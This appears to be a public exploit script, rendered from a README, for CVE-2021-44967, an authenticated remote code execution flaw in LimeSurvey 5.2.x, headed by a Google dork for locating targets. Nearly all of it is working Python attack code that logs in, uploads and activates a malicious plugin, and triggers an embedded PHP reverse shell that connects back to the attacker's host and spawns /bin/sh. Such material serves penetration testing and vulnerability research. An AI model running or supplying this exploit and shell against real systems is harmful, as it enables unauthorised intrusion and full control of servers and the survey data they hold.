README.md
Rendering markdown...
# Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution (RCE)
# Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login
# Date: 05/12/2021
# Discovered by: Y1LD1R1M
# Exploit Author: D3Ext
# Vendor Homepage: https://www.limesurvey.org/
# Software Link: https://download.limesurvey.org/latest-stable-release/limesurvey5.2.4+211129.zip
# Version: 5.2.x
# Tested on: Kali Linux 2025
# CVE: CVE-2021-44967
# This exploit is a modification of the Y1LD1R1M's exploit so all rights to him
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import os
import sys
import time
import argparse
import requests
import sys
import string
import random
import warnings
import zipfile
from bs4 import BeautifulSoup
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
def get_random_string(length):
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def get_csrf_token(url):
page = req.get(url)
response = page.text
s = BeautifulSoup(response, 'html.parser')
csrf_token = s.findAll('input')[0].get("value")
return csrf_token
# Main function
if __name__ == '__main__':
p = argparse.ArgumentParser(description="CVE-2021-44967 - LimeSurvey Authenticated RCE")
p.add_argument('--url', help="URL of the LimeSurvey web root", required=True)
p.add_argument('--user', help="username to log in", required=True)
p.add_argument('--password', help="password of the username", required=True)
p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)
# Parse CLI arguments
parser = p.parse_args()
url = parser.url
username = parser.user
password = parser.password
lhost = parser.lhost
lport = parser.lport
verbose = parser.verbose
url = url.rstrip("/")
req = requests.session()
print("[+] CVE-2021-44967 - LimeSurvey Authenticated RCE\n")
time.sleep(0.5)
print("[+] URL: " + url + "\n")
print("[*] Creating malicious zip file...")
time.sleep(0.5)
random_name = get_random_string(10)
print(" > Plugin name: " + random_name)
if verbose:
print(" > Creating php reverse shell file...")
php_content = """<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '""" + lhost + """';
$port = """ + lport + """;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>"""
if verbose:
print(" > Creating plugin XML config file...")
config_content = """<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>""" + random_name + """</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>D3Ext</author>
<authorUrl>https://github.com/D3Ext</authorUrl>
<supportUrl>https://github.com/D3Ext</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : D3Ext]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
"""
# create php file
php_f = open("php-rev.php", "w")
# write content
php_f.write(php_content)
php_f.close()
# create config file
config_f = open("config.xml", "w")
# write content
config_f.write(config_content)
config_f.close()
# create zip file
with zipfile.ZipFile(random_name + ".zip", 'w') as zipf:
zipf.write(os.path.abspath("config.xml"), arcname=os.path.basename("config.xml"))
zipf.write(os.path.abspath("php-rev.php"), arcname=os.path.basename("php-rev.php"))
# open zip file
filehandle = open(random_name + ".zip", mode="rb")
time.sleep(0.5)
# remove files
try:
os.remove("php-rev.php")
os.remove("config.xml")
except Exception as e:
print(e)
print("\n[*] Sending login request...")
time.sleep(0.5)
if verbose:
print(" > Capturing CSRF token...")
csrf_token = get_csrf_token(url + "/index.php/admin/authentication/sa/login")
if verbose:
print(" > CSRF token: " + csrf_token)
login_creds = {
"user": username,
"password": password,
"authMethod": "Authdb",
"loginlang": "default",
"action": "login",
"width": "1581",
"login_submit": "login",
"YII_CSRF_TOKEN": csrf_token
}
login = req.post(url + "/index.php/admin/authentication/sa/login", data=login_creds)
print("[+] Successfully logged in as " + username + "\n")
time.sleep(0.5)
print("[*] Uploading malicious plugin...")
time.sleep(0.5)
if verbose:
print(" > Retrieving CSRF token...")
csrf_token2 = get_csrf_token(url + "/index.php/admin/pluginmanager/sa/index")
if verbose:
print(" > CSRF token: " + csrf_token2)
upload_creds = {
"YII_CSRF_TOKEN": csrf_token2,
"lid": "$lid",
"action": "templateupload"
}
file_upload = req.post(url + "/index.php/admin/pluginmanager?sa=upload", files = {'the_file': filehandle}, data=upload_creds)
upload_page = req.get(url + "/index.php/admin/pluginmanager?sa=uploadConfirm")
response = upload_page.text
print("[+] The malicious plugin was successfully uploaded\n")
time.sleep(0.5)
print("[*] Installing uploaded plugin...")
time.sleep(0.5)
if verbose:
print(" > Retrieving CSRF token...")
csrf_token3 = get_csrf_token(url + "/index.php/admin/pluginmanager?sa=installUploadedPlugin")
if verbose:
print(" > CSRF token: " + csrf_token3)
install_creds = {
"YII_CSRF_TOKEN": csrf_token3,
"isUpdate": "false"
}
file_install = req.post(url + "/index.php/admin/pluginmanager?sa=installUploadedPlugin", data=install_creds)
print("[+] The plugin was successfully installed\n")
time.sleep(0.5)
print("[*] Activating malicious plugin...")
time.sleep(0.5)
if verbose:
print(" > Retrieving CSRF token...")
csrf_token4 = get_csrf_token(url + "/index.php/admin/pluginmanager?sa=activate")
if verbose:
print(" > CSRF token: " + csrf_token4)
activate_data = {
"YII_CSRF_TOKEN": csrf_token4,
"pluginId": "1"
}
file_activate = req.post(url + "/index.php/admin/pluginmanager?sa=activate", data=activate_data)
print("[+] Malicious plugin was successfully activated")
time.sleep(0.5)
print("\n[*] Triggering plugin by sending request to " + url + "/upload/plugins/" + random_name + "/php-rev.php")
time.sleep(0.5)
print("[+] Check your netcat listener!\n")
# remove zip file
os.remove(random_name + ".zip")
# trigger php reverse shell
rev = req.get(url + "/upload/plugins/" + random_name + "/php-rev.php")